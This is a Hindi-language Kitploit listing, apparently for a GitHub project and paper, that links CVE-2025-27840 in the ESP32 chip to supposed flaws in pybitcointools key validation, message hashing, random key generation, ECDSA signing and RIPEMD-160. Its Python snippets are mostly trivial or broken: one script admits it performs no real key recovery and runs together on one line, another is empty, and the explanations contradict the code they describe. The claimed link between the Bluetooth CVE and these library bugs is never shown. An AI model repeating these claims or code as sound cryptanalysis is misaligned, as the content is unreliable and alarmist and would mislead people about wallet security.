Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
Bluetooth-Attacks-CVE-2025-27840 — बिटकॉइन क्रिप्टोविश्लेषण: ESP32 माइक्रोकंट्रोलर में CVE-2025-27840 भेद्यता वाई-फाई और ब्लूटूथ के माध्यम से अरबों IoT उपकरणों को जोखिम में डालती है | Kitploit
उपकरण/GitHubGitHub/demining/bluetooth-attacks-cve-2025-27840
एम्बेडेड सिस्टम सुरक्षाब्लूटूथ सुरक्षाIoT सुरक्षाभेद्यता विश्लेषणशोषणवायरलेस सुरक्षाक्रिप्टोग्राफीहार्डवेयर और IoT सुरक्षापेपर और शोध

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
लर्निंग और शिक्षा
GitHubdemining/bluetooth-attacks-cve-2025-27840

Bluetooth-Attacks-CVE-2025-27840

बिटकॉइन क्रिप्टोविश्लेषण: ESP32 माइक्रोकंट्रोलर में CVE-2025-27840 भेद्यता वाई-फाई और ब्लूटूथ के माध्यम से अरबों IoT उपकरणों को जोखिम में डालती है

रिपॉजिटरी देखेंवेबसाइट
12561 साल पहलेअभी तक समीक्षित नहीं
बिटकॉइन क्रिप्टैनालिसिस: ESP32 माइक्रोकंट्रोलर्स में CVE-2025-27840 भेद्यता वाई-फाई और ब्लूटूथ के माध्यम से अरबों IoT उपकरणों को जोखिम में डालती है

यह पेपर चर्चा करता है कि कैसे एक हमलावर मॉड्यूल अपडेट के माध्यम से छिपी हुई भेद्यताओं की एक सूची पेश कर सकता है, जिससे ESP32 उपकरणों से समझौता हो सकता है और निजी कुंजियों तक अनधिकृत पहुंच प्राप्त हो सकती है, जो इस माइक्रोकंट्रोलर का उपयोग करने वाले अरबों उपकरणों को प्रभावित करती है। प्रमुख मुद्दों में से एक ESP32 आर्किटेक्चर में खोजी गई CVE-2025-27840 भेद्यता है। बिटकॉइन नेटवर्क के लिए सुरक्षा सुनिश्चित करने के लिए, हमने निम्नलिखित भेद्यताओं की पहचान की, जहां फ़ंक्शन  has_invalid_privkey में निचली सीमा जांच की कमी के कारण अमान्य निजी कुंजियों का उपयोग करने की संभावना है; BIP-137 के साथ असंगतता के कारण फ़ंक्शन  electrum_sig_hash में लेनदेन हस्ताक्षर जालसाजी में भेद्यता; कुंजी निर्माण फ़ंक्शन  random_key में एक कमजोर PRNG समस्या, जो क्रिप्टोकरेंसी वॉलेट के लिए व्यक्तिगत निजी कुंजियों को पूर्वानुमेय बनाती है; फ़ंक्शन  multiply में ECC वक्र पर बिंदुओं के सत्यापन की कमी, जो अमान्य वक्र हमलों का कारण बन सकती है; फ़ंक्शन  ecdsa_raw_sign में Y-निर्देशांक को पुनर्स्थापित करते समय भेद्यता, संभावित रूप से सार्वजनिक कुंजी के प्रतिस्थापन की ओर ले जाती है; और  bin_ripemd160 में पदावनत हैशिंग APIs से संबंधित भेद्यताएं।


  • ट्यूटोरियल: https://youtu.be/nBeZWm2z5o4
  • ट्यूटोरियल: https://cryptodeeptech.ru/bitcoin-bluetooth-attacks
  • ट्यूटोरियल: https://dzen.ru/video/watch/6784be61b09e46422395c236
  • Google Colab: https://colab.research.google.com/drive/15lPDHeTo7FkrPY7v4qS7X6hO4x27qT2Y

मार्च 2025 की शुरुआत में, Tarlogic Security ने ESP32 माइक्रोकंट्रोलर में एक भेद्यता की पहचान की, जो वाई-फाई और ब्लूटूथ के माध्यम से उपकरणों को जोड़ने के लिए व्यापक रूप से उपयोग किया जाता है। यह भेद्यता संख्या CVE-2025-27840 के तहत दर्ज की गई थी। हमलावर ESP32 चिप का उपयोग बिटकॉइन और एथेरियम जैसी लोकप्रिय क्रिप्टोकरेंसी के नेटवर्क पर चलने वाले उपकरणों पर क्रिप्टोग्राफ़िक हमलों के बिंदु के रूप में करके बिटकॉइन वॉलेट डेटा तक अनधिकृत रूप से पहुंच सकते हैं। यह समस्या इस माइक्रोकंट्रोलर का उपयोग करने वाले लाखों IoT उपकरणों को प्रभावित करती है। इस भेद्यता का फायदा उठाने से हमलावरों को वैध उपयोगकर्ताओं के रूप में प्रच्छन्न हमले करने और कमजोर उपकरणों को स्थायी रूप से संक्रमित करने की अनुमति मिलेगी। यह ESP32 माइक्रोकंट्रोलर पर आधारित IoT उपकरणों की सुरक्षा को खतरा पहुंचाता है और बिटकॉइन वॉलेट की निजी कुंजियों की चोरी का कारण बन सकता है।

ESP32 एक माइक्रोकंट्रोलर है जो IoT उपकरणों में वाई-फाई और ब्लूटूथ कनेक्टिविटी प्रदान करने के लिए व्यापक रूप से उपयोग किया जाता है। हमलावर ESP32 के माध्यम से बिटकॉइन वॉलेट के निजी कुंजी डेटा तक पहुंच प्राप्त करने के लिए विभिन्न तरीकों का उपयोग कर सकते हैं।

ESP32 माइक्रोकंट्रोलर से संबंधित सुरक्षा खतरे बिटकॉइन वॉलेट की निजी कुंजियों की चोरी का कारण बन सकते हैं। मुख्य समस्याओं में बैकडोर और भेद्यताओं की उपस्थिति शामिल है। ऐसी भेद्यताओं का उपयोग करके, वे मेमोरी में हेरफेर कर सकते हैं, MAC पते नकली कर सकते हैं, और दुर्भावनापूर्ण कोड इंजेक्ट कर सकते हैं, जिससे गंभीर सुरक्षा जोखिम पैदा होते हैं।

हमलावर ब्लूटूथ और वाई-फाई कनेक्शन में भेद्यताओं का उपयोग करके ESP32 माइक्रोकंट्रोलर वाले IoT उपकरणों पर हमला कर सकते हैं, जो बिटकॉइन से संबंधित नेटवर्क पर अन्य उपकरणों पर हमला करने के लिए एक उपकरण बन सकता है, साथ ही बिटकॉइन वॉलेट के लिए निजी कुंजियों सहित गोपनीय जानकारी चुरा सकता है।


बिटकॉइन क्रिप्टैनालिसिस: ESP32 माइक्रोकंट्रोलर्स में CVE-2025-27840 भेद्यता वाई-फाई और ब्लूटूथ के माध्यम से अरबों IoT उपकरणों को जोखिम में डालती हैhttps://youtu.be/nBeZWm2z5o4


छिपी हुई भेद्यताओं की सूची:

एक हमलावर मॉड्यूल अपडेट कर सकता है और कोड में विभिन्न भेद्यताओं की एक सूची पेश कर सकता है, जिनमें शामिल हैं:

  • फ़ंक्शन  has_invalid_privkey में एक भेद्यता जिसका उपयोग निजी कुंजी प्राप्त करने के लिए किया जा सकता है।
  • फ़ंक्शन  electrum_sig_hash में एक भेद्यता बिटकॉइन लेनदेन हस्ताक्षरों की जालसाजी की अनुमति देती है।
  • फ़ंक्शन  random_key में भेद्यता एक कमजोर छद्म-यादृच्छिक संख्या जनरेटर (गैर-नियतात्मक PRNG) से संबंधित है।
  • फ़ंक्शन  multiply में भेद्यता जहां ECC वक्र पर एक बिंदु की कोई जांच नहीं होती है।
  • फ़ंक्शनों  ecdsa_raw_sign और  bin_ripemd160 में भेद्यताएं।

इन भेद्यताओं का उपयोग ESP32 उपकरणों में नकली अपडेट इंजेक्ट करने के लिए किया जा सकता है, जिससे हमलावरों को सिस्टम तक निम्न-स्तरीय पहुंच मिलती है। यह उन्हें कोड ऑडिट नियंत्रणों को बायपास करने और निजी कुंजियों तक पहुंच प्राप्त करने की अनुमति देगा। वर्तमान में, उनके आर्किटेक्चर में एकल घटक की छिपी हुई विशेषताओं के कारण अरबों उपकरण असुरक्षित हो सकते हैं, जिसे CVE-2025-27840 के रूप में नामित किया गया है।


फ़ंक्शन has_invalid_privkey में निजी कुंजी प्राप्त करने की भेद्यता

यह भेद्यता बिटकॉइन की निजी कुंजी सत्यापन कोड में पाई गई थी, जो निचली सीमा जांच की कमी के कारण अमान्य कुंजियों (0 से कम या उसके बराबर) के उपयोग की अनुमति देती है। इससे धन की हानि हो सकती है। इसे ठीक करने के लिए, यह सुनिश्चित करने के लिए एक जांच जोड़ी जानी चाहिए कि निजी कुंजी 0 से अधिक है। कोड प्रदर्शन उद्देश्यों के लिए दिया गया है।


बिटकॉइन क्रिप्टैनालिसिस: ESP32 माइक्रोकंट्रोलर्स में CVE-2025-27840 भेद्यता वाई-फाई और ब्लूटूथ के माध्यम से अरबों IoT उपकरणों को जोखिम में डालती हैhttps://github.com/primal100/pybitcointools/blob/e7c96bfe1f4be08a9f3c540e598a73dc20ca2462/cryptos/main.py#L305

यह बग खराब निजी कुंजियों के उपयोग की अनुमति देता है, जिससे पैसे की हानि सहित गंभीर समस्याएं हो सकती हैं।

इसे ठीक करने के लिए, आपको यह सुनिश्चित करने के लिए एक जांच जोड़नी होगी कि निजी कुंजी 0 से अधिक है।

कल्पना करें कि कोई व्यक्ति बिटकॉइन नेटवर्क को “हैक” करने का प्रयास कर रहा है। उन्हें क्रिप्टोकरेंसी तक पहुंचने के लिए उपयोग की जाने वाली निजी कुंजियों के सत्यापन में एक कमजोर बिंदु मिलता है।

समस्या यह है कि कोड केवल यह जांचता है कि निजी कुंजी बहुत बड़ी है या नहीं। यदि कुंजी बहुत बड़ी है, तो इसे अस्वीकार कर दिया जाता है। लेकिन कोड यह जांचना भूल जाता है कि कुंजी बहुत छोटी है या नहीं (शून्य से कम या उसके बराबर)।

जहां यह होता है उस कोड का अनुभाग:

root@kitploit:~
...
...
if privkey >= N: # Checking only the upper bound
raise Exception("Invalid privkey")

if privkey <= 0: #
Lower bound is not checked properly
return True

...
...


इस बग के कारण, अमान्य (बहुत छोटी) निजी कुंजियों का उपयोग करना संभव है। यह भेद्यता फ़ंक्शन  has_invalid_privkey में स्थित है।

यह सब काम करने के लिए, आपको लाइब्रेरी  ecdsa स्थापित करने की आवश्यकता है (यह क्रिप्टोग्राफी के साथ काम करने के लिए आवश्यक है): 


बिटकॉइन क्रिप्टैनालिसिस: ESP32 माइक्रोकंट्रोलर्स में CVE-2025-27840 भेद्यता वाई-फाई और ब्लूटूथ के माध्यम से अरबों IoT उपकरणों को जोखिम में डालती है

पायथन स्क्रिप्ट secp256k1_privkey_validator.py

root@kitploit:~
!pip install ecdsa 
import ecdsa

def has_invalid_privkey(privkey: int) -> bool:
"""
Checks if a private key is invalid, based on the absence of a lower bound check.

Args:
privkey: The private key to check.

Returns:
True if the private key is invalid (<= 0 or >= N), False otherwise.
"""
# Order of the secp256k1 elliptic curve used by Bitcoin
N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141

if privkey >= N: # Check only the upper bound
raise Exception("Invalid privkey")

if privkey <= 0: # Lower bound check missing
return True

return False

# Example usage
privkey = 0 # Invalid private key
is_invalid = has_invalid_privkey(privkey)

if is_invalid:
print("Invalid private key!")
else:
print("Valid private key.")

कोड स्पष्टीकरण:

  1. ecdsa लाइब्रेरी आयात करना : यद्यपि इस उदाहरण में सीधे उपयोग नहीं किया गया है, बिटकॉइन और ECDSA (एलिप्टिक कर्व डिजिटल सिग्नेचर एल्गोरिदम) से संबंधित वास्तविक दुनिया के परिदृश्यों में, क्रिप्टोग्राफ़िक संचालन करने के लिए इस लाइब्रेरी की आवश्यकता हो सकती है।
  2. फ़ंक्शनhas_invalid_privkey(privkey: int) -> bool :
    • privkeyइनपुट के रूप में एक पूर्णांक निजी कुंजी स्वीकार करता है।
    • एक स्थिरांक Nपरिभाषित करता है जो बिटकॉइन में उपयोग किए जाने वाले secp256k1 एलिप्टिक कर्व के क्रम का प्रतिनिधित्व करता है।
    • जांचता है कि क्या privkey N से अधिक या उसके बराबर है। यदि ऐसा है, तो एक अपवाद उठाता है जो दर्शाता है कि निजी कुंजी अमान्य है।
    • जांचता है कि क्या privkey 0 से कम या उसके बराबर है। यदि ऐसा है, तो True लौटाता है, यह दर्शाता है कि निचली सीमा जांच की कमी के कारण निजी कुंजी अमान्य है।
    • यदि दोनों जांच विफल हो जाती हैं, तो False लौटाता है।
  3. उपयोग का उदाहरण :
    • मान को privkey = 0 पर सेट करता है, जो एक अमान्य निजी कुंजी है।

भेद्यता :

कोड में अपर्याप्त निजी कुंजी सत्यापन से संबंधित एक भेद्यता है। अर्थात्, कोई निचली सीमा जांच नहीं है (privkey <= 0)। यह अमान्य निजी कुंजियों के उपयोग की अनुमति देता है, जिससे धन की हानि सहित अप्रत्याशित परिणाम हो सकते हैं।

इसे कैसे ठीक करें :

निजी कुंजी पर एक निचली सीमा जांच जोड़ने की आवश्यकता है ताकि यह सुनिश्चित हो सके कि यह 0 से अधिक है।


फ़ंक्शन electrum_sig_hash में बिटकॉइन लेनदेन हस्ताक्षर जालसाजी भेद्यता

इलेक्ट्रम में फ़ंक्शन  electrum_sig_hash एक गैर-मानक संदेश हैशिंग विधि का उपयोग करता है, जो BIP-137 के साथ असंगतता के कारण इसे हस्ताक्षर जालसाजी हमलों के लिए संवेदनशील बनाता है।


बिटकॉइन क्रिप्टैनालिसिस: ESP32 माइक्रोकंट्रोलर्स में CVE-2025-27840 भेद्यता वाई-फाई और ब्लूटूथ के माध्यम से अरबों IoT उपकरणों को जोखिम में डालती हैhttps://github.com/primal100/pybitcointools/blob/e7c96bfe1f4be08a9f3c540e598a73dc20ca2462/cryptos/main.py#L425

बिटकॉइन नेटवर्क को लक्षित करने वाला एक हमलावर  electrum_sig_hash के माध्यम से इलेक्ट्रम द्वारा उपयोग की जाने वाली गैर-मानक संदेश हैशिंग विधि की खोज कर सकता है। यह फ़ंक्शन संदेश हैश को इस तरह से बनाता है जो BIP-137 असंगतता के कारण हस्ताक्षर जालसाजी हमलों का कारण बन सकता है। प्रदान की गई पायथन स्क्रिप्ट दर्शाती है कि कैसे एक हमलावर BIP-137 असंगतता भेद्यता का फायदा उठाने के लिए इलेक्ट्रम द्वारा उपयोग किए जाने वाले संदेश हैश को उत्पन्न कर सकता है। फ़ंक्शन  electrum_sig_hash SHA256 के साथ डबल-हैशिंग से पहले संदेश को उपसर्गित करके और उसकी लंबाई को एन्कोड करके संदेश तैयार करता है।

एक पायथन स्क्रिप्ट यह दर्शाती है कि कैसे एक हमलावर BIP-137 असंगतता के कारण हस्ताक्षर जालसाजी हमले करने के लिए इलेक्ट्रम द्वारा उपयोग किए जाने वाले गैर-मानक संदेश हैश को ढूंढ सकता है।


बिटकॉइन क्रिप्टैनालिसिस: ESP32 माइक्रोकंट्रोलर्स में CVE-2025-27840 भेद्यता वाई-फाई और ब्लूटूथ के माध्यम से अरबों IoT उपकरणों को जोखिम में डालती है

पायथन स्क्रिप्ट bitcoin_sign_hash.py

root@kitploit:~
!pip install ecdsa 
import hashlib

def num_to_var_int(i):
if i < 0xfd:
return i.to_bytes(1, 'little')
elif i <= 0xffff:
return b'\xfd' + i.to_bytes(2, 'little')
elif i <= 0xffffffff:
return b'\xfe' + i.to_bytes(4, 'little')
else:
return b'\xff' + i.to_bytes(8, 'little')

def from_string_to_bytes(s):
return s.encode('utf-8')

def bin_dbl_sha256(s):
hash1 = hashlib.sha256(s).digest()
hash2 = hashlib.sha256(hash1).digest()
return hash2

def electrum_sig_hash(message):
padded = b"\x18Bitcoin Signed Message:\n" + num_to_var_int(len(message)) + from_string_to_bytes(message)
return bin_dbl_sha256(padded)

# Usage example
message = "Example message for signing"
message_hash = electrum_sig_hash(message)
print(f"Electrum message hash: {message_hash.hex()}")

इस स्क्रिप्ट में:

  • num_to_var_int(i): एक पूर्णांक को बिटकॉइन में उपयोग किए जाने वाले परिवर्तनीय-लंबाई प्रारूप में परिवर्तित करता है।
  • from_string_to_bytes(s): UTF-8 एन्कोडिंग का उपयोग करके एक स्ट्रिंग को बाइट्स में एन्कोड करता है।
  • bin_dbl_sha256(s): इनपुट पर डबल SHA256 हैशिंग करता है।
  • electrum_sig_hash(message): संदेशों को हैश करने के इलेक्ट्रम के गैर-मानक तरीके का अनुकरण करता है, जो BIP-137 असंगति के अधीन है।

कुंजी निर्माण में  random_key कमजोर PRNG फ़ंक्शन में भेद्यता (गैर-नियतात्मक PRNG)

समस्या तब उत्पन्न होती है जब बिटकॉइन एक फ़ंक्शन  random_key का उपयोग करता है जो कुंजियाँ बनाने के लिए  random मापांक पर निर्भर करता है।  random मापांक क्रिप्टोग्राफ़िक उद्देश्यों के लिए अभिप्रेत नहीं है क्योंकि यह पर्याप्त यादृच्छिक संख्याएं उत्पन्न नहीं करता है, जिससे निजी कुंजियाँ हमलावरों के लिए पूर्वानुमेय हो जाती हैं। यह बिटकॉइन नेटवर्क को कमजोर छोड़ देता है।


बिटकॉइन क्रिप्टविश्लेषण: ESP32 माइक्रोकंट्रोलर में CVE-2025-27840 भेद्यता वाई-फाई और ब्लूटूथ के माध्यम से अरबों IoT डिवाइसों को जोखिम में डालती हैhttps://github.com/primal100/pybitcointools/blob/e7c96bfe1f4be08a9f3c540e598a73dc20ca2462/cryptos/main.py#L432

एक Python स्क्रिप्ट जो बिटकॉइन नेटवर्क को असुरक्षित बनाती है, क्योंकि यह random का उपयोग secrets या os.urandom के बजाय करती है, जिससे निजी कुंजियाँ बिटकॉइन हमलावर के लिए अनुमानित हो जाती हैं:

Python स्क्रिप्ट privkey_generate.py

root@kitploit:~
import random
import time
from hashlib import sha256

def random_string(length):
    return ''.join(random.choice('0123456789abcdef') for i in range(length))

def random_key():
    # Gotta be secure after that java.SecureRandom fiasco...
    entropy = random_string(32) \
        + str(random.randrange(2**256)) \
        + str(int(time.time() * 1000000))
    return sha256(entropy.encode('utf-8')).hexdigest()

# Example usage: generate a private key
private_key = random_key()
print("Generated Private Key:", private_key)

यह स्क्रिप्ट कुंजियाँ उत्पन्न करने के लिए random मॉड्यूल का उपयोग करती है, जो इसे असुरक्षित बनाता है। random मॉड्यूल का उपयोग क्रिप्टोग्राफ़िक उद्देश्यों के लिए उपयुक्त नहीं है, क्योंकि यह पर्याप्त रूप से यादृच्छिक संख्याएँ उत्पन्न नहीं करता है।


बिटकॉइन क्रिप्टविश्लेषण: ESP32 माइक्रोकंट्रोलर में CVE-2025-27840 भेद्यता वाई-फाई और ब्लूटूथ के माध्यम से अरबों IoT डिवाइसों को जोखिम में डालती है

अधिक सुरक्षित कुंजी बनाने के लिए, आप secrets या os.urandom मॉड्यूल का उपयोग कर सकते हैं। यहाँ secrets मॉड्यूल का उपयोग करने का एक उदाहरण दिया गया है:

root@kitploit:~
import secrets
import hashlib

def secure_random_key():
    # Generate a random number with enough entropy
    random_bytes = secrets.token_bytes(32)  # 32 bytes = 256 bits
    
    # Hash the random bytes to create a private key
    private_key = hashlib.sha256(random_bytes).hexdigest()
    return private_key

# Example usage: generate a secure private key
secure_private_key = secure_random_key()
print("Generated Secure Private Key:", secure_private_key)

इस उदाहरण में, पर्याप्त एन्ट्रॉपी के साथ एक यादृच्छिक संख्या उत्पन्न करने के लिए secrets मॉड्यूल का उपयोग किया जाता है। फिर निजी कुंजी बनाने के लिए उस यादृच्छिक संख्या को हैश किया जाता है। यह विधि random मॉड्यूल का उपयोग करने की तुलना में कहीं अधिक सुरक्षित है।


ecdsa_raw_sign फ़ंक्शन में भेद्यता

Y-निर्देशांक पुनर्स्थापित करते समय ecdsa_raw_sign फ़ंक्शन में एक भेद्यता, बिटकॉइन नेटवर्क में सार्वजनिक कुंजी के प्रतिस्थापन का कारण बन सकती है। इस बात का उच्च जोखिम है कि एक हमलावर दीर्घवृत्तीय वक्र के साथ कार्य करते समय Y-निर्देशांक पुनर्स्थापना की विशिष्टता का फायदा उठा सकता है। यह अस्पष्टता इस तथ्य को जन्म दे सकती है कि सार्वजनिक कुंजी गलत तरीके से पुनर्स्थापित हो जाती है ।


बिटकॉइन क्रिप्टविश्लेषण: ESP32 माइक्रोकंट्रोलर में CVE-2025-27840 भेद्यता वाई-फाई और ब्लूटूथ के माध्यम से अरबों IoT डिवाइसों को जोखिम में डालती हैhttps://github.com/primal100/pybitcointools/blob/e7c96bfe1f4be08a9f3c540e598a73dc20ca2462/cryptos/main.py#L543

लाइब्रेरी  pycryptodome का उपयोग करके दिया गया कोड उदाहरण दर्शाता है कि भिन्न, अमान्य सार्वजनिक कुंजी प्राप्त करने के लिए Y-निर्देशांक को बदलकर इस स्थिति का अनुकरण कैसे किया जा सकता है। यह ध्यान रखना महत्वपूर्ण है कि कोड उदाहरण सरलीकृत है और हमले का पूर्ण कार्यान्वयन नहीं है, बल्कि केवल इसका सिद्धांत दिखाता है।

एक हमलावर बिटकॉइन नेटवर्क में Y-निर्देशांक पुनर्प्राप्ति की अस्पष्टता का फायदा उठा सकता है, जिससे सार्वजनिक कुंजी पुनर्प्राप्ति में त्रुटियाँ हो सकती हैं। यहाँ इस बात का एक उदाहरण दिया गया है कि बिटवाइज़ XOR ऑपरेशन का उपयोग करके यह कैसे किया जा सकता है।


बिटकॉइन क्रिप्टविश्लेषण: ESP32 माइक्रोकंट्रोलर में CVE-2025-27840 भेद्यता वाई-फाई और ब्लूटूथ के माध्यम से अरबों IoT डिवाइसों को जोखिम में डालती है

Python स्क्रिप्ट weak_key_recovery.py

root@kitploit:~
!pip install pycryptodome 
from hashlib import sha256
from Crypto.PublicKey import ECC
from Crypto.Signature import DSS
from Crypto.Hash import SHA256
import secrets

# Elliptic curve parameters secp256k1
# PyCryptodome does not provide a convenient way to directly specify the parameters of the secp256k1 curve.
# Therefore, we will use the standard ECC curve.
# For production code, be careful when choosing the curve and its parameters.

def hash_to_int(msghash):
return int(sha256(msghash.encode('utf-8')).hexdigest(), 16)

def deterministic_generate_k(msghash, priv_key_int):
k = 0
while k == 0:
v = b'\x01' * 32
k = b'\x00' * 32
k = sha256(v + k + priv_key_int.to_bytes(32, 'big') + msghash.encode('utf-8')).digest()
v = sha256(v + k + priv_key_int.to_bytes(32, 'big') + msghash.encode('utf-8')).digest()
k = sha256(v + k + priv_key_int.to_bytes(32, 'big') + msghash.encode('utf-8')).digest()
v = sha256(v + k + priv_key_int.to_bytes(32, 'big') + msghash.encode('utf-8')).digest()
k = int.from_bytes(sha256(v + k).digest(), 'big') # % N # Removed % N, since N is no longer a defined constant
return k

def ecdsa_raw_sign(msghash, priv_key_int):
z = hash_to_int(msghash)
k = deterministic_generate_k(msghash, priv_key_int)

# Generate private key object
key = ECC.construct(curve='P-256', d=priv_key_int)

# Calculate point R = kG
# PyCryptodome does not provide direct access to the coordinates of point R
# Therefore, the signature will be calculated in a different way, using DSS

# s = pow(k, -1, N) * (z + r * private_key_int) % N # N is no longer defined
# v = 27 + ((y % 2) ^ (0 if s * 2 < N else 1)) # y is not available

return key, z, k # Return the key, hash, and k for further use in signing

def recover_pubkey(msghash, signature, key):
# WARNING: This is a VERY SIMPLIFIED example of public key recovery.
# In real life, ECDSA public key recovery is a complex process.
# This code is intended only to demonstrate the principle.

# PyCryptodome does not have a simple way to recover PublicKey from r and s directly.
# This code does not perform real recovery, but creates a new PublicKey from the private key.
# In a real attack scenario, you need to try to guess the y-coordinate to get a valid PublicKey.
# But this requires a more complex logic to work with the elliptic curve. return key.public_key()def emulate_attack(msghash, priv): # 1. Sign the message priv_key_int = int(priv, 16) key, z, k = ecdsa_raw_sign(msghash, priv_key_int) signer = DSS.new(key, 'fips-186-3') hash_obj = SHA256.new(msghash.encode('utf-8')) signature = signer.sign(hash_obj) # 2. Attempt to recover the public key (incorrectly) Q = recover_pubkey(msghash, signature, key) # 3. Simulate a situation where the Y coordinate is recovered incorrectly # In a real attack scenario, an attacker will try to iterate through different y-coordinates. # In this example, we simply change the x-coordinate slightly tampered_key = ECC.construct(curve='P-256', d=priv_key_int + 1) # EXAMPLE! DO NOT DO THIS IN REAL CODE! Q_tampered = tampered_key.public_key() return Q, Q_tampered # Example usage msghash = "Message example" # Generate a random private key private_key = ECC.generate(curve='P-256') priv = hex(private_key.d) # Store private key as a hex string # Example usage Q, Q_tampered = emulate_attack(msghash, priv) print("Original Public Key:", Q) print("Tampered Public Key:", Q_tampered) print("Are the keys equal?", Q == Q_tampered)

यह स्क्रिप्ट दर्शाती है कि अमान्य सार्वजनिक कुंजी उत्पन्न करने के लिए Y-निर्देशांक को कैसे बदला जा सकता है।

कृपया ध्यान दें कि यह केवल एक उदाहरण है और वास्तविक हमला कहीं अधिक जटिल हो सकता है।

उपरोक्त स्क्रिप्ट के अलावा, विचार करने योग्य कुछ अतिरिक्त बिंदु यहाँ दिए गए हैं:

  • Frey-Rück हमला: यह हमला ECDSA हस्ताक्षर में भेद्यताओं का फायदा उठाकर निजी कुंजी “K” (nonce) निकालता है, जो अंततः बिटकॉइन वॉलेट की पुनर्प्राप्ति का कारण बन सकता है।
  • बिटवाइज़ ऑपरेशन: XOR डेटा एन्क्रिप्शन के लिए एक मूल्यवान उपकरण है और सुरक्षा बेहतर बनाने के लिए इसे अन्य ऑपरेशनों के साथ संयोजन में उपयोग किया जा सकता है।
  • 51% हमला: यद्यपि यह Y-निर्देशांक पुनर्प्राप्ति से सीधे संबंधित नहीं है, यह समझना महत्वपूर्ण है कि नेटवर्क की 50% से अधिक कंप्यूटिंग शक्ति को नियंत्रित करने वाला हमलावर संभावित रूप से ब्लॉकचेन में हेरफेर कर सकता है।
  • जैकोबियन वक्र निर्देशांक हेरफेर: हमलावर नकली डिजिटल हस्ताक्षर बनाने के लिए जैकोबियन निर्देशांकों के गणितीय गुणों में हेरफेर कर सकते हैं।
  • सॉफ़्टवेयर अपडेट: महत्वपूर्ण भेद्यताओं के कारण BTC सिक्कों के संभावित नुकसान को रोकने के लिए अपने सॉफ़्टवेयर को हमेशा अपडेट करना और केवल विश्वसनीय डिवाइसों का उपयोग करना अत्यंत आवश्यक है।

bin_ripemd160 फ़ंक्शन में भेद्यता

बिटकॉइन नेटवर्क पर लीगेसी हैशिंग API, विशेष रूप से RIPEMD-160 की अनुपस्थिति में, असुरक्षित हो सकते हैं। हमलावर कमजोर कार्यान्वयनों की पहचान कर उनका फायदा उठा सकते हैं, जो अद्यतित क्रिप्टोग्राफ़िक लाइब्रेरियों और नियमित सुरक्षा अपडेट के उपयोग के महत्व को रेखांकित करता है।


बिटकॉइन क्रिप्टविश्लेषण: ESP32 माइक्रोकंट्रोलर में CVE-2025-27840 भेद्यता वाई-फाई और ब्लूटूथ के माध्यम से अरबों IoT डिवाइसों को जोखिम में डालती हैhttps://github.com/primal100/pybitcointools/blob/e7c96bfe1f4be08a9f3c540e598a73dc20ca2462/cryptos/main.py#L378

बिटकॉइन नेटवर्क पर एक हमलावर लीगेसी हैशिंग API में भेद्यता पा सकता है, विशेषकर यदि कुछ सिस्टम में RIPEMD-160 कार्यान्वयन की कमी है। समस्या  bin_ripemd160 फ़ंक्शन में है, जो हैशिंग के लिए  hashlib का उपयोग करने का प्रयास करता है, लेकिन यदि वह विफल हो जाता है, तो यह अपने स्वयं के, संभावित रूप से कमजोर कार्यान्वयन पर स्विच कर देता है।

प्रदान की गई Python स्क्रिप्ट दर्शाती है कि एक हमलावर ऐसे कमजोर API कार्यान्वयन के लिए बिटकॉइन नोड का परीक्षण कैसे कर सकता है। यदि  hashlib RIPEMD-160 का समर्थन नहीं करता है, तो एक सरलीकृत कार्यान्वयन का उपयोग किया जाता है, जो हैश संघर्षों और अन्य भेद्यताओं का कारण बन सकता है। स्क्रिप्ट डेटा को हैश करके और कमजोर कार्यान्वयन के उपयोग होने पर चेतावनी प्रिंट करके हमले का अनुकरण करती है।

जोखिमों में लेन-देन जालसाज़ी की संभावना और लीगेसी API में ज्ञात भेद्यताओं का शोषण शामिल है। स्वयं को सुरक्षित रखने के लिए, अद्यतित और परीक्षणित क्रिप्टोग्राफ़िक लाइब्रेरियों का उपयोग करने, बिटकॉइन सॉफ़्टवेयर को नियमित रूप से अपडेट करने और क्रिप्टोग्राफ़िक ऑपरेशनों के आउटपुट की जाँच करने की अनुशंसा की जाती है।


बिटकॉइन क्रिप्टविश्लेषण: ESP32 माइक्रोकंट्रोलर में CVE-2025-27840 भेद्यता वाई-फाई और ब्लूटूथ के माध्यम से अरबों IoT डिवाइसों को जोखिम में डालती है

एक Python स्क्रिप्ट जिसमें एक बिटकॉइन हमलावर एक अप्रचलित (deprecated) हैशिंग API ढूंढता है और कुछ वातावरणों में RIPEMD-160 लागू न करने के जोखिम पर चर्चा करता है:

Python स्क्रिप्ट ripemd160_vulnerability.py

root@kitploit:~

विस्तृत व्याख्या:

  1. RIPEMD160 कार्यान्वयन (यदि hashlib में नहीं है):
    • क्लास RIPEMD160 RIPEMD160 के एक कार्यान्वयन का अनुकरण करती है। वास्तव में, इसे RIPEMD160 हैशिंग एल्गोरिथम को लागू करना चाहिए। प्रदर्शन उद्देश्यों के लिए, यह एक डमी हैश लौटाती है।
  2. फ़ंक्शन bin_ripemd160(string):
    • इनपुट स्ट्रिंग को RIPEMD160 का उपयोग करके हैश करने का प्रयास करता है।
    • पहले hashlib इम्प्लीमेंटेशन का उपयोग करने की कोशिश करता है, और यदि आवश्यक हो तो कस्टम इम्प्लीमेंटेशन का सहारा लेता है।
    • यदि hashlib RIPEMD160 का समर्थन नहीं करता है, तो यह ValueError अपवाद को पकड़ता है और कस्टम इम्प्लीमेंटेशन का उपयोग करता है।
  3. फ़ंक्शन check_for_weak_api(data):
    • यह फ़ंक्शन किसी हमलावर द्वारा Bitcoin नेटवर्क नोड का कमजोर API इम्प्लीमेंटेशन के लिए परीक्षण करने का अनुकरण करता है।
